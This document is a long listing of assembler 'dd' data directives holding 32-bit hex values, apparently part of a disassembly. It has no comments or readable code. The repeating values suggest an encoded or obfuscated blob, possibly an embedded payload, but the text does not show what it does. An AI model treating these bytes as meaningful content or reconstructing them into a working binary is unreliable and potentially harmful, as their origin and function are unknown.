		dd 78F2232h, 53661132h,	0CBC726D8h, 3F68B3F1h, 0E2C79B42h
		dd 5CAF331Eh, 0EADFD9E7h, 3C99BBCDh, 188F7BFDh,	24661132h
		dd 85AACF7Fh, 0BFA4C115h, 1B649619h, 0B3789409h, 90698E25h
		dd 15664418h, 49E19C52h, 9E005845h, 90EDE9F9h, 13765AB7h
		dd 1561CB52h, 5BA71132h, 36C12FD9h, 4207B17Eh, 9E4226CDh
		dd 0D1E5350Eh, 905D7036h, 1371E1BCh, 155DA73Dh,	9E9E1132h
		dd 557C1B7h, 1568AD34h,	96992232h, 3862B9FBh, 171FB3Dh
		dd 756B3FEAh, 314AA165h, 0ED064ECDh, 15776162h,	0B85B4432h
		dd 561A9592h, 0D904A12Eh, 9DCD26Fh, 4E6365ABh, 87E31953h
		dd 1A600697h, 1566C5B7h, 4E74B32h, 0FC662232h, 1566113Eh
		dd 0D0A1A68Bh, 0DE08E939h, 0F1DF2FF8h, 341B94B9h, 9F698E22h
		dd 15664423h, 15662EDBh, 0BE4D2E32h, 0CA44BA57h, 0BEC2F4BCh
		dd 0EADB779Eh, 3C99EECDh
		dd 9E69D5DDh, 1566443Bh, 73309652h, 0A24CC8B3h,	905D7053h
		dd 1371E1A4h, 155BA73Dh, 9D691132h, 15668821h, 15664ADBh
		dd 8762D532h, 2E943714h, 0B1AE35A5h, 9EEEC071h,	57D5FB7h
		dd 4793E434h, 0EA997788h, 4FB16DCDh, 15662CDBh,	95CAED32h
		dd 0C8922B73h, 0D3487231h, 2EE5CE06h, 2C38BB7h,	53E38734h
		dd 1A664432h, 156632B3h, 156DF832h, 0D0C88832h,	0B7737CCEh
		dd 7DD05695h, 0D4DB9242h, 15609823h, 1545C13Dh,	9E9E2232h
		dd 56B84B7h, 55F17434h,	4D391465h, 156632DBh, 106E0F32h
		dd 0DBB35A2Eh, 0AF9D3554h, 24D7D7E1h, 8BE32AF6h, 1A609F97h
		dd 156607B7h, 0E72D32h,	0FC661132h, 15668822h, 8DB1059Eh
		dd 0BFAA837Eh, 0AAE313C7h, 73247FB5h, 19FBC1B9h, 1A062422h
		dd 156614BBh, 0CCE7EE32h, 9E360C31h, 460778CBh,	15661089h
		dd 4EB98932h, 14EC4BCAh, 0E9662232h, 0B0C49409h, 90698E25h
		dd 156644AFh, 156629DBh, 0E2A29632h, 0E7ABDBEBh, 0C5CBA9A2h
		dd 1575AD3Dh, 73061132h, 72C869B3h, 156643DBh, 0B6157932h
		dd 0F279C6DCh, 0D4DB0B53h, 15605423h, 1501A73Dh, 0AA061132h
		dd 3DE6EAAh, 1572AD64h,	85F62232h, 2ED65AC9h, 2D90F76Fh
		dd 0B3EC3F4Dh, 9942D6AEh, 743EF306h, 132B0DB9h,	73064222h
		dd 0D3F9FBB3h, 0D6D84753h, 9458732Dh, 0C626ABDCh, 0D4B0D57Fh
		dd 0D3E714DCh, 0EAEFB6C4h, 1A38B31Bh, 15663ABDh, 7E11E32h
		dd 0FC668832h, 1566443Fh, 0B8B44608h, 9F03E23Dh, 2F7D9AD2h
		dd 0B3E37F37h, 1A603597h, 156659B7h, 156C6132h,	50154432h
		dd 17BCCE0Fh, 314011F6h, 3CA70DB9h, 94694222h, 1566222Ah
		dd 156602DBh, 6D0CD132h, 470442E8h, 0F280ACCFh,	0F81D6973h
		dd 8619E804h, 1567FA64h, 0E2672232h, 1561F86Ch,	0A3228832h
		dd 1476FB0Ah, 0BFE31918h, 1A600697h, 1566B4B7h,	19EA4B32h
		dd 0FC662232h, 15661135h, 15BB4375h, 75A7BD4Bh,	1AAF9D3Dh
		dd 9E07CE85h, 56921B7h,	0AB30B834h, 0EA99DDCDh,	1A38E61Bh
		dd 156684BFh, 13EF4B32h, 1A662232h, 156611BAh, 0A7E3B332h
		dd 1A605397h, 1566A1B7h, 92697132h, 15668830h, 1E8F1B62h
		dd 10662232h, 9DB16038h, 8BBEC975h, 96070F2Fh, 577E38Fh
		dd 90691134h, 1566886Eh, 1561C23Dh, 9C692232h, 15661133h
		dd 0D0E303CBh, 0ED605415h, 466C9A62h, 0AC5349F4h, 0D44C073Ch
		dd 0EA534CD2h, 3CD0807Eh, 940649F5h, 0B35AD1D5h, 1E8F243Fh
		dd 5B662232h, 988EA130h, 2D1A56A2h, 740737A7h, 156631DBh
		dd 1124C32h, 25FFE575h,	3D931CA5h, 0B963FA5Ch, 0D1D28469h
		dd 0B0C80D09h, 90694225h, 1566220Dh, 1567933Dh,	969A8832h
		dd 577858Fh, 90692234h,	15661119h, 1CE303CBh, 75605412h
		dd 1566AE3Dh, 1D8E1132h, 98668832h, 6E05B9CBh, 73509DDCh
		dd 4B3C408Ah, 14DED853h, 14664432h, 2E937AF5h, 2C3A7B7h
		dd 25E38734h, 0E0664432h, 0BC7A7B9h, 9D691722h,	15668836h
		dd 74072452h, 6DA59F67h, 0E0E72A13h, 0D1B80F0Eh, 1A3BAB1Bh
		dd 156628B4h, 9B697132h, 15668832h, 2E079CB9h, 2C398B7h
		dd 50E31E34h, 0FC668832h, 1566443Fh, 5A442072h,	86945F64h
		dd 0F6774DE7h, 156FADEFh, 0B8872232h, 59C0EB2Eh, 9EB90F25h
		dd 56BE1B7h, 0AA694234h, 0F7E777C5h, 4607D47Bh,	15664589h
		dd 4EB92332h, 156616DBh, 754AF532h, 0AFE050E7h,	0B0D8A709h
		dd 90691725h, 15668869h, 156ECA3Dh, 93692232h, 15661130h
		dd 90EDE952h, 13765FA3h, 156BCB52h, 0EFA91132h,	4074AAA5h
		dd 3333514Fh, 944A6915h, 56ECFDC3h, 150EE964h, 9C664413h
		dd 1199060Eh, 90694E16h, 15668829h, 1573C73Dh, 58F2232h
		dd 2D661132h, 9139F68h,	56724450h, 7AEE906h, 2E9D5941h
		dd 2C34AB7h, 31E34B34h,	0E0662232h, 1B5794B9h, 449A8E22h
		dd 0EA99BB8Bh, 4CA90BCDh, 15661FDBh, 30012932h,	19AD1C9Fh
		dd 4B1E8CD1h, 2E703F34h, 2C34EB7h, 5DE34B34h, 1A662232h
		dd 156616B1h, 4A37E832h, 74059EB2h, 110BA7B9h, 1D8F1722h
		dd 0F668832h, 0A1A5912Bh, 421D5628h, 9E4215CDh,	0D1E5AC0Eh
		dd 1EEC4B36h, 0FC662232h, 15661134h, 8365F5D1h,	0FC065D73h
		dd 15662234h, 0AB927FDEh, 2E07767Fh, 2C38EB7h, 49E32D34h
		dd 0FC661132h, 15668823h, 3DDB73BCh, 619D1954h,	386BE788h
		dd 0EB64CC8Ch, 0CCE3CF18h, 1A60321Fh, 15661CB9h, 9469E832h
		dd 15664432h, 0C5270F88h, 9F697076h, 15668833h,	0EADD17CEh
		dd 3C99DDCDh, 0FD064AEDh, 15668834h, 958DF5DDh,	138EAB64h
		dd 0BC661132h, 11F9AFD8h, 1A3C1CC8h, 2E07E48Dh,	2C3DFB7h
		dd 3BE38734h, 0E0664432h, 9BFA7B9h, 188F1722h, 0E4668832h
		dd 926538C5h, 0EA8E1049h, 56B3884Ah, 9AE3062h, 6863058Ch
		dd 5D3DF919h, 73D1AA37h, 4DA1A150h, 0C7E37FCEh,	1A603597h
		dd 15669BB7h, 18EE832h,	0EB664432h, 369A74BFh, 6DB65721h
		dd 0A351E952h, 0BEEF48EBh, 4AC46561h, 0D2D11E52h, 156687DBh
		dd 0A2208432h, 3EF60260h, 80287288h, 0C2F6D1Bh,	90ED2553h
		dd 137634AFh, 1569F952h, 45898832h, 887F96CAh, 18299DCFh
		dd 0AC079BDEh, 60F83632h, 753E2856h, 1566A93Dh,	9E001132h
		dd 4607E9CCh, 0EA99BB89h, 4EB90BCDh, 7EB1E52h, 0FC668832h
		dd 1566443Fh, 0B161BC2h, 480E0825h, 0F73200ACh,	0B395FDA5h
		dd 2E075F67h, 56B78B7h,	79E38734h, 0FC664432h, 15662221h
		dd 6BD97756h, 6BE7B23Dh, 3CACE6Bh, 55894884h, 0FCD89171h
		dd 1566883Ah, 0C8A777BAh, 596AA4BCh, 0E6B94B9h,	91698E22h
		dd 15664426h, 97DC4452h, 156FF8F2h, 57538832h, 2221CA9Eh
		dd 741B747Eh, 1567AC67h, 0FA678832h, 0DE84B6Fh,	75662232h
		dd 156601DBh, 8B96BF32h, 49A79497h, 27040424h, 0B2278D5Bh
		dd 2E07709Fh, 2C392B7h,	20E32D34h, 0EC661132h, 0BA70DB9h
		dd 188F4222h, 0A6662232h, 0BF65A045h, 5B934650h, 0FE044D25h
		dd 14DC70CBh, 14661132h, 9569D2E5h, 1566443Eh, 1560A43Dh
		dd 93691132h, 15668832h, 0B374C109h, 90692425h,	156611A7h
		dd 0CCE7EE52h, 0ECED251Fh, 156FCB53h, 0BD0B1132h, 0E194A1FAh
		dd 96224510h, 2C0388Fh,	90691134h, 15668813h, 0A8E5B1CBh
		dd 13763EA7h, 77E21E32h, 0FC668832h, 1566443Fh,	0C5272D79h
		dd 3870849Fh, 0B9AF976Bh, 38E3CF6Dh, 0FC60323Ah, 15661120h
		dd 24A91DAEh, 63D80B28h, 0D79AC569h, 0E753E589h, 1A06FD1Ah
		dd 15664FB6h, 1563CA32h, 0B5021132h, 4B7D26F6h,	86B1C464h
		dd 9231436Bh, 9227353Eh, 1A39AC3Eh, 156648B1h, 93694232h
		dd 15661132h, 0D41C3154h, 3E37F53h, 1A603594h, 156692B7h
		dd 15636132h, 4E904432h, 9615ED55h, 2C00B8Fh, 90698834h
		dd 15664470h, 156AA33Dh, 95691132h, 15668834h, 1566C63Dh
		dd 0A8E52232h, 13760DA7h, 58E28732h, 0FC664432h, 15662226h
		dd 0ADD40C7Dh, 4B10731Fh, 86F26AC6h, 8F660A05h,	1C5DAD95h
		dd 0E3E7EE52h, 0AA69A4F4h, 90ED43E8h, 13760DE3h, 0DBEDEE52h
		dd 74A4CF54h, 15679B63h, 0DA671132h, 1568616Bh,	0CC6A4432h
		dd 0EFF93F38h, 2F040F5h, 97AED313h, 0B0BCC109h,	90692425h
		dd 15661162h, 8E303C7h,	7560541Fh, 156633DBh, 51E79132h
		dd 0BC8D9BDh, 0F55628F7h, 0FEB5B24Ah, 0CCE6FA18h, 0AE35E980h
		dd 0EA99BBCDh, 0FC3DFD1Bh, 1566113Ah, 36259917h, 0C80BE7BAh
		dd 156631DBh, 0E42A5932h
		dd 0D982F2E1h, 7F98062Dh, 1CE68655h, 22F4D687h,	0B0B80D09h
		dd 90694225h, 1566227Dh, 1569F8CBh, 2CED8832h, 0F3CFA17Bh
		dd 0DC0ED7AAh, 0E7930B25h, 10E303DAh, 0ED605411h, 6E449B63h
		dd 0CC917C8Bh, 5FE149B3h, 0D4E75E81h, 466012A8h, 1A3FDE1Bh
		dd 15669EB1h, 1577AD32h, 7AB72232h, 25866962h, 0DBF02E06h
		dd 3D74A3D3h, 2E3541A7h, 2C3F3B7h, 61E38734h, 75664432h
		dd 156636DAh, 4A323232h, 0BD564C00h, 3ED29627h,	7AE70F7Ch
		dd 0C9F43BB2h, 0C1DFEE79h, 128E1C0Bh, 92662232h, 0D89F2CF2h
		dd 0AA006582h, 74395BEFh, 35AFA7B9h, 48F1722h, 96668832h
		dd 0CE340CB6h, 13CE8982h, 0D41693F2h, 91499CCEh, 7EC2FF61h
		dd 0D6E76233h, 143C7127h, 212E4BB3h, 0CA67FA96h, 156BCB69h
		dd 0CD931132h, 10079640h, 6D9E0259h, 2E6F88CAh,	2C3F7B7h
		dd 0DE38734h, 0EC664432h, 1ADBA7B9h, 108F1722h,	99668832h
		dd 2DB125B2h, 314AA165h, 2E9E4ECDh, 2C362B7h, 56E34B34h
		dd 0FC662232h, 15661137h, 0F0561FEAh, 40E3CFA8h, 0E0603213h
		dd 1567AC67h, 0FA678832h, 0AF00246Fh, 58E377Dh,	0EA661132h
		dd 6782E8A7h, 8916C380h, 0EF19BACh, 0FC12367Bh,	1566883Ah
		dd 2763FACEh, 7D288E30h, 905D706Ch, 13712DDCh, 154BC13Dh
		dd 9E9E2232h, 55564B7h,	19EA8734h, 1A664432h, 156624B7h
		dd 15E31E32h, 45668832h, 1566458Ah, 4DA12332h, 0EFED7752h
		dd 82CA43B3h, 1E072440h, 3EE22DCDh, 75661132h, 0EF880954h
		dd 0CBD14B50h, 0F98CCB53h, 0FC06EECDh, 1566883Fh, 18116BEFh
		dd 0B8EF1496h, 7F6A3546h, 17E0876Fh, 75664432h,	905D4353h
		dd 137610F7h, 15470D3Dh, 98694432h, 1566223Ah, 1564983Dh
		dd 74068832h, 2BE3C9CBh, 0E9603575h, 0EA8AB6DBh, 7506E8CDh
		dd 2E072553h, 5669FB7h,	7EE31E34h, 0ED668832h, 15664DDBh
		dd 0BC03D232h, 7831BB54h, 0A8E5B69Bh, 1371E108h, 5AE32D33h
		dd 75661132h, 55456B3h,	58F1507h, 0F0662232h, 95AA4671h
		dd 2543093h, 0F1F70E2Fh, 74CFF8AFh, 156602DBh, 0A9F63332h
		dd 0B46E9E40h, 48EBAD02h, 4DE71D63h, 574FF01Dh,	1E01C1BFh
		dd 1C8F226Bh, 19661132h, 14005688h, 8D133F92h, 0EA8A09DBh
		dd 905DEDCDh, 13712D78h, 1541C03Dh, 1B8F2232h, 8A661132h
		dd 0CB84CDA4h, 0DBDD686Ch, 0D984515Eh, 5BE32AEFh, 1A609F97h
		dd 156606B7h, 17E82D32h, 75661132h, 0FE946153h,	198FBBCDh
		dd 0A2662232h, 1169E4Fh, 957650C1h, 1AB45AF7h, 15663CB2h
		dd 48F7132h, 0BE668832h, 0DAC69116h, 35022220h,	0F3364C80h
		dd 928BFAB3h, 1566CB3Dh, 7D072232h, 15661132h, 9642BCB9h
		dd 730640F6h, 9B69EAB9h, 15661130h, 9607E952h, 906945CCh
		dd 156622D6h, 15779B3Dh, 198F8832h, 5D664432h, 0D057C28Dh
		dd 7D1602C7h, 2E4C2348h, 2C37AB7h, 4CE32D34h, 75661132h
		dd 0C8B50954h, 1B8F12B1h, 8E662232h, 2DF4DF3Bh,	0B58D1969h
		dd 1148E037h, 98077DE9h, 4DE1D5B7h, 15756132h, 1BC74432h
		dd 44A6E91Eh, 88D738CBh, 6E0BE1F7h, 0FF1102B2h,	0FE5CCB57h
		dd 0FC06EECDh, 15668839h, 5B79ECC8h, 155EC32Bh,	467EFF38h
		dd 1DB36AB3h, 743C63FFh, 0B024A709h, 90691725h,	15668816h
		dd 2FE3C9CEh, 0E9667ABAh, 0EA8D16DBh, 81D9E8CDh, 9445F21Ah
		dd 15E3AFC3h, 73067021h, 0D7D979B9h, 744A037Ah,	0B020A709h
		dd 90691725h, 1566881Eh, 156EC63Dh, 9A692232h, 15661130h
		dd 90EBE952h, 153ECC4Dh, 156AA33Dh, 9B691132h, 15668834h
		dd 1566C63Dh, 0AC8F2232h, 0E099EED8h, 43A00164h, 1A8F1A6Ah
		dd 62662232h, 0A7BFB59Ch, 88099C8Eh, 38259F51h,	0C5D85D56h
		dd 942C7877h, 0EA9977F4h, 26A0C5CDh, 1AD3B488h,	156616BBh
		dd 14E18732h, 0E9664432h, 9069D439h, 1566111Bh,	749F7052h
		dd 0EA8C78DBh, 0FE82DCDh, 75661132h, 0FC983F3Dh, 15664422h
		dd 8578ADEh, 38D84546h,	3EDD183h, 0E677F1B9h, 37B64A53h
		dd 11EF1132h, 9269D616h, 15664433h, 0F0D3ABC7h,	1A60011Fh
		dd 156681B6h, 74062432h, 0F657738Dh, 0A0EF7077h, 137682A3h
		dd 0D5E72252h, 68F6B50h, 7D661132h, 0CAF4B73Ah,	0ACE8428Ch
		dd 86567795h, 0E212E721h, 9507D4BBh, 9069AD0Ch,	156622EDh
		dd 156D973Dh, 138F8832h, 0FB664432h, 28CF6877h,	1410EEDAh
		dd 9442B4B9h, 156640F6h, 12E52D32h, 1A661132h, 156689B1h
		dd 0FAE7BC32h, 2A23255Bh, 17B2D6B3h, 0E26784A5h, 17B2ABB3h
		dd 0D2E72EA5h, 2A23165Bh, 156A033Dh, 128F4432h,	95662232h
		dd 61328B55h, 4631447Fh, 0CAEFB7BBh, 4A9DAB69h,	1560F852h
		dd 0B0888832h, 1ADC7B92h, 74A8F0B2h, 152FEE5Ah,	316A0132h
		dd 0DC59878Bh, 57A7A307h, 941B344Eh, 921C3BF3h,	5DA7C504h
		dd 1470A83Bh, 58F48F9h,	43668832h, 0D0D72520h, 320A6047h
		dd 8341DA13h, 2E540CAFh, 54BA18Fh, 35E42D34h, 0FC661132h
		dd 15668820h, 8A7F30C2h, 0EDF9C9F4h, 7EBD1A59h,	2413227Eh
		dd 0EE5D3172h, 156BA43Dh, 0FC9A1132h, 0EA9960C3h, 1567CA3Dh
		dd 9E9A2232h, 56C348Fh,	0E68734h, 0FC664432h, 15662222h
		dd 0E6387E0Dh, 3B6186B8h, 0DCA657B7h, 42A74F0Dh, 3D3B94F5h
		dd 15668E22h, 95064432h, 7507AAD1h, 0E4ED7752h,	156681DBh
		dd 0D6799732h, 1066DB34h, 9C076CF6h, 56C1987h, 18E2434h
		dd 3D662232h, 56A2728Ah, 729F7FD6h, 7B7F81BFh, 403A8CCDh
		dd 1A7317D5h, 156688B0h, 96691D32h, 15662234h, 1566923Dh
		dd 98078832h, 0D4E84AFh, 94004234h, 748922C2h, 1A065BCDh
		dd 188F838Dh, 7F662232h, 8EC6F0C3h, 2B2457F4h, 0F68F750Eh
		dd 1AA62953h, 156639B6h, 156D6132h, 0C5834432h,	4DA716B3h
		dd 57DEC05Dh, 15E16163h, 1A064432h, 156624B7h, 15EC1E32h
		dd 73668832h, 81C4A6B3h, 24FBAF53h, 0FC6004A8h,	1566883Ch
		dd 0CA9F7BC7h, 0C12187EDh, 0D221CF4Fh, 0C69992A6h, 0EA33C73Dh
		dd 0EC06DDCDh, 74F6DDB2h, 1567073Dh, 9E9A4432h,	56CB387h
		dd 0A0EFE834h, 1376A06Fh, 15664CDBh, 6399A432h,	63EA6FD8h
		dd 0D8FB051Bh, 0FC60529Ch, 15662226h, 0E968E0F3h, 0ECB5F689h
		dd 20C832B9h, 2902AE46h, 0B4636625h, 138F5BCDh,	11664432h
		dd 38A53E16h, 0F0E39AD6h, 0FC60981Fh, 15664438h, 603BABB4h
		dd 0A440A6F8h, 90EF81AEh, 13764EA3h, 1D8E4252h,	0B9661132h
		dd 85830E5Bh, 4E4EBE94h, 156632DBh, 3A96BF32h, 0FA2E1F12h
		dd 0C533830Ch, 853B50A3h, 740770FCh, 15669BDBh,	45290832h
		dd 5B5E0DAAh, 633736EEh, 7A217E16h, 55CDECC4h, 1A8E1CB2h
		dd 1566F8B7h, 0F4D3E832h, 9607A783h, 549DF8Fh, 91691134h
		dd 156688E4h, 18D82452h, 7566A3A8h, 96077053h, 19EF8CDEh
		dd 0A541F516h, 4CAE22F0h, 156619DBh, 106A1D32h,	0AE8FFD5Ah
		dd 30EF2D67h, 75661132h, 156683DBh, 0CA661732h,	0BA31EE2Eh
		dd 0E819BBACh, 156686DBh, 0EC55E432h, 2046FF19h, 0C3C0E564h
		dd 74B89304h, 1575AD98h, 6C812232h, 0E5C50CF4h,	0D9CC05B8h
		dd 0DC828957h, 0F4A72DF9h, 21DF79A2h, 21EF8832h, 1D8F1C16h
		dd 71662232h, 0E8BA5D17h, 449C709Ah, 0E664D28Bh, 4CAE0B42h
		dd 8363E91Bh, 0FC167B30h, 15664421h, 0C5C4D640h, 8C018436h
		dd 0B42F5538h, 6DF88995h, 46AFB21Ch, 15661589h,	2FC88D32h
		dd 0CD4F4BCDh, 0EA5C8C1Fh, 0FD064A3Dh, 15668838h, 913E64B8h
		dd 0F351B3BDh, 7406537Ch
		dd 0EDCDE96Ch, 156440DBh, 88EBDA32h, 137E1EEEh,	0E0B577CBh
		dd 3633D9BFh, 1A06242Ah, 9F35D985h, 0EA07D1E1h,	1574ADE1h
		dd 0CC9E2232h, 0A8F9479Ch, 0D7B59132h, 790870CAh, 0F248BB21h
		dd 9069D139h, 15668810h, 156641DBh, 4CFD8B32h, 2A8FCE7Fh
		dd 0FC668832h, 1566443Ch, 0FF698C42h, 57F8069Fh, 2B94F375h
		dd 90E5475Eh, 137628A3h, 12ED1E37h, 75668832h, 0A4B6CF54h
		dd 8C8F430Ah, 0FC99EECCh, 1566883Ch, 0C02E39F4h, 615699Eh
		dd 6CD6E8E4h, 88EB7EFBh, 137E61AEh, 0EDB5DDCAh,	17E71E52h
		dd 9E668832h, 0D56D25E2h, 156CA73Dh, 0FC931132h, 15668800h
		dd 744FF552h, 1537915Ah, 316A9832h, 15668C8Bh, 4CAC4532h
		dd 15662ADBh, 4516332h,	1A92EDAFh, 1455AD62h, 99692232h
		dd 15661134h, 75AD0352h, 88EB2553h, 1373B803h, 156CF852h
		dd 701B8832h, 37DAA4A6h, 0A85506CBh, 1AB5EE53h,	1566D8B1h
		dd 1DE24B32h, 75662232h, 15669F3Dh, 1A078832h, 156645B7h
		dd 0A0EDDB32h, 13761BA3h, 1BE68752h, 0FD664432h, 1566223Ah
		dd 87379AA0h, 7EC76DE3h, 1572AD6Ch, 0FDC22232h,	1E8586C3h
		dd 1AA9DB41h, 902C8D37h, 9F49D805h, 0FC07D610h,	1566A33Ch
		dd 84EBCFC7h, 0FC603238h, 15661137h, 87B9DEDCh,	1568AD8Dh
		dd 99EC2232h, 7DD8F810h, 728CE1FAh, 2F331516h, 1FF797BBh
		dd 188F1722h, 0F0668832h, 5AEEAB50h, 8721218Eh,	6FD16F85h
		dd 48F149B3h, 0FCE75592h, 7C536387h, 0D4E7E01Bh, 7C53C987h
		dd 48F1ADB3h, 108F3392h, 0C5661132h, 0D9085C90h, 316ABB63h
		dd 0FCB7D56Bh, 15661122h, 7DC610B9h, 5BB648F8h,	9C29D936h
		dd 5114FFB6h, 1ECC66B3h, 0DB4F7134h, 1ECC9961h,	0CB672434h
		dd 0B1957069h, 15664ADBh, 0D1B3F232h, 3B5ADCFFh, 0F89B631Eh
		dd 0FCE5534Ah, 0EA99DF2Eh, 156D9C3Dh, 138F8832h, 6E664432h
		dd 0B48CB9F6h, 28FB9CB0h, 1A609E83h, 156665B4h,	18F4232h
		dd 0EA661132h, 2D31C71Bh, 2E375694h, 0A936D13Eh, 4FB77080h
		dd 1A076A34h, 156644BAh, 0EA9E4332h, 9C33E9E1h,	9E8E01CFh
		dd 0D1E5601Eh, 9E9A4236h, 904D70C3h, 13768217h,	2E04BCEh
		dd 75662232h, 188E7052h, 0A668832h, 8F8DE76Ch, 4B957022h
		dd 0CE7B3F1Dh, 90EFE96Dh, 13766DC3h, 30E3A9CEh,	75600138h
		dd 7D078882h, 15663245h, 75421EBBh, 9C3670CAh, 15628DD2h
		dd 114B4432h, 92662232h, 9C3A3536h, 9469AC36h, 1566443Ah
		dd 1564A03Dh, 74061132h, 0A13B05BFh, 46064224h,	22E95E8Ch
		dd 0EA07485Fh, 78FE8E3h, 0E7664432h, 55F22762h,	7CC3708Ch
		dd 0E51ADE3Fh, 7E39071Fh, 9E07D702h, 57468B7h, 1A06E834h
		dd 156644BEh, 20DE4432h, 0CFE770CEh, 3A331479h,	0F4EF1553h
		dd 1562E3B3h, 0FCE51132h, 316A0F36h, 3162CD6Eh,	7E004ACBh
		dd 29EF1132h, 90ED7416h, 13764E17h, 56AF4ACBh, 11EF1132h
		dd 15686116h, 8594432h,	5768FD90h, 79F372E5h, 999E6212h
		dd 0A07EC9BFh, 97692424h, 15661135h, 59523752h,	0EA0752B5h
		dd 1B8F42E3h, 1E661132h, 0E985B2D3h, 90D5720Ch,	0BF4EB3F4h
		dd 156AF86Bh, 76C18832h, 57D2AFD7h, 0AEF17B47h,	9607E179h
		dd 9EF8CDEh, 9CA5CD16h,	0AA0679E8h, 0DB53A71h, 0AD613F52h
		dd 33AA0BA0h, 9E364353h, 0D1E7353Eh, 15668836h,	156EC73Dh
		dd 94062232h, 0F2A2A5E5h, 984DE91Bh, 1376564Bh,	13E42D52h
		dd 1A661132h, 156688B1h, 7498CE32h, 3BC39FB1h, 1A661722h
		dd 15662BB6h, 0DFE72432h, 77408CEAh, 74B89A54h,	3CCB0DB9h
		dd 48F4222h, 25662232h,	4B64F502h, 0B38ECB9Ah, 206D89F0h
		dd 2FD2017Dh, 37DD7752h, 0DAE7EEB0h, 3E078C62h,	54887B7h
		dd 0A8DC7134h, 9E35113Dh, 0D45D25E1h, 153CA43Dh, 0FC061132h
		dd 15668826h, 728F2E0h,	90FFAA7Bh, 0B133D276h, 28D6F58Ch
		dd 2B3715Bh, 74A99D3Dh,	3CB394B9h, 16938E22h, 548E1B7h
		dd 90EFDE34h, 137630A3h, 15669BDBh, 313E0432h, 5B4B3F52h
		dd 867DA04Dh, 0A8AF161Eh, 0F69CC728h, 1567C8DBh, 1560F832h
		dd 5BA48832h, 0DAFC1C94h, 9484AB60h, 156615F0h,	118C0932h
		dd 92664432h, 9C3A0626h, 969A353Eh, 19EF8CDEh, 1A061C16h
		dd 1C8EF88Dh, 3B661132h, 1826D196h, 6063EF5h, 156636DAh
		dd 8A0A8B32h, 0DDE8AF41h, 999390EDh, 80E96A85h,	17A33DC2h
		dd 7439D607h, 0EA99FD63h, 0DD67DDCDh, 14E11E6Bh, 0E0668832h
		dd 9E0E1764h, 4E66D374h, 0FEE7C2C5h, 0C57A26BBh, 943D9ABBh
		dd 3B3454DCh, 0DBE75F7Eh, 2F8DFB2Ah, 63F48AB3h,	0D3E7048Eh
		dd 14660133h, 1A38783Bh, 156648B2h, 0AE004232h,	95696CFFh
		dd 15668832h, 0AB30BD53h, 995E3Bh, 0E3E7C7C5h, 5F7AA1BCh
		dd 93A0C574h, 3C39C167h, 1F8F4FC2h, 59668832h, 7784651Eh
		dd 949FE24h, 0B8E398CEh, 7560981Bh, 12C0A7B3h, 0FC072CF7h
		dd 1566113Ch, 0E829A717h, 5E69B15Bh, 7CFA33E6h,	9067A164h
		dd 13768E73h, 15664BDBh, 9C733B32h, 52AE97F0h, 57413F33h
		dd 8E10BA84h, 3BC3A7F5h, 15661722h, 7F9E8832h, 156AAD72h
		dd 5902232h, 7A7B4B4Ch,	0F5654F3Eh, 150ED0E7h, 0ED662222h
		dd 1544BE5Ah, 316A0132h, 75662EC7h, 7898D5B3h, 0FC310279h
		dd 1566883Ah, 0C340C6D4h, 846E0884h, 78F706Dh, 0FC668832h
		dd 17DCAC75h, 3C9136D6h, 7BE5FF05h, 0EDEE5AF3h,	70F3BBE8h
		dd 0FC60322Eh, 1566113Bh, 0ED48D8E7h, 0DB2F2422h, 3CF3DDE0h
		dd 0E9600133h, 3CB30DBBh, 95064222h, 0FD0649E6h, 15661121h
		dd 225B96E4h, 23563610h, 14B5247Fh, 0D6914FB9h,	4C101EACh
		dd 1566C13Dh, 74072232h, 34F794BBh, 98698E22h, 15664429h
		dd 1573A73Dh, 58F1132h,	6E668832h, 6755E794h, 520EB1E5h
		dd 0D6BE5D53h, 9EF72E3Bh, 9C35603Eh, 11A5A3D1h,	96661132h
		dd 9E18CF1h, 0EA9E1816h, 547B387h, 14E31E34h, 0E0668832h
		dd 71FF1CDh, 94692422h,	15661134h, 0A2697452h, 730625F1h
		dd 9569D9B9h, 15661132h, 3882E053h, 29EF4432h, 0C3E74216h
		dd 130256CAh, 15668FDBh, 0B5316332h, 0A9A1FDC3h, 30D3EE53h
		dd 0FC609838h, 1566443Fh, 4EDC918Fh, 8192DD59h,	0EDF406A3h
		dd 0C8E3C9D6h, 0E96034FCh, 75B6EECBh, 0D4EDEE52h, 74A6FB3Dh
		dd 0B0EB2353h, 7560011Ch, 9D950954h, 8182C467h,	1572CB53h
		dd 11511132h, 7CC6D760h, 0E0184140h, 1B31474Ch,	6F6C3578h
		dd 0A8ED2EE7h, 137665A3h, 0A0EDDBCAh, 1376034Bh, 156685DBh
		dd 1363CE32h, 0CCEA3569h, 0F6A13DB8h, 0B19594C9h, 1567CA3Dh
		dd 9E9A2232h, 5690087h,	0FBE7E834h, 52BF6AC5h, 1564AC3Dh
		dd 74061132h, 459E2553h, 0C39955Ah, 0CD917A0Bh,	0EB2F293Fh
		dd 80DDDB74h, 564CBA4Ah, 0E6E7F1C5h, 0F966809Ah, 9C3D5033h
		dd 753EB874h, 0D691CDB3h, 58F04C8h, 3F668832h, 91E68DB9h
		dd 6A78EA45h, 0B33A60F3h, 744EA33Ch, 0EC6384F3h, 153BF85Ah
		dd 317A9832h, 6BBF7A89h, 4EBE4572h, 0DFD9DB52h,	744155A2h
		dd 0AB30D31h, 0EC9F4222h, 34F7AFB9h, 97691722h,	15668835h
		dd 1567CF3Dh, 449E2232h, 115AF64h, 6167A9E0h, 9A384016h
		dd 664EA332h, 1A47C326h, 15669ABCh, 156BAD32h, 36D2232h
		dd 6219F539h, 3A1A4B6Fh, 0B876740Eh, 156AA83Dh,	9A691132h
		dd 15668834h, 1566C93Dh, 0A8332232h, 15661132h,	9E9AE6BBh
		dd 0D1E5601Eh, 1DE62D36h, 1A661132h, 15668ABAh,	9C072432h
		dd 5693387h, 1AE81E34h
		dd 0FC668832h, 15664438h, 4B92ECE1h, 0CEF207D8h, 68F5D50h
		dd 0B664432h, 2A5E1487h, 0C3593DF0h, 0A433B6BFh, 0A951F323h
		dd 0EDE51419h, 9EE31ECDh, 1A668832h, 156645B2h,	2BE7DB32h
		dd 0C8BBCCEFh, 151E0D3Dh, 94694432h, 15662233h,	0AA3141C7h
		dd 3E9CF006h, 0EF1E708Ah, 4A9E0B19h, 1A3E17BBh,	15668FB7h
		dd 14E44B32h, 0ED662232h, 152D745Ah, 314A0132h,	1566408Fh
		dd 48882332h, 1567993Dh, 9C9F8832h, 5695587h, 4E12D34h
		dd 0FC661132h, 1566883Eh, 8880102Eh, 9CBC366h, 22AB7C8h
		dd 0EAB5ABDBh, 1572ADCDh, 512D2232h, 8FA00D0Bh,	1115A65Fh
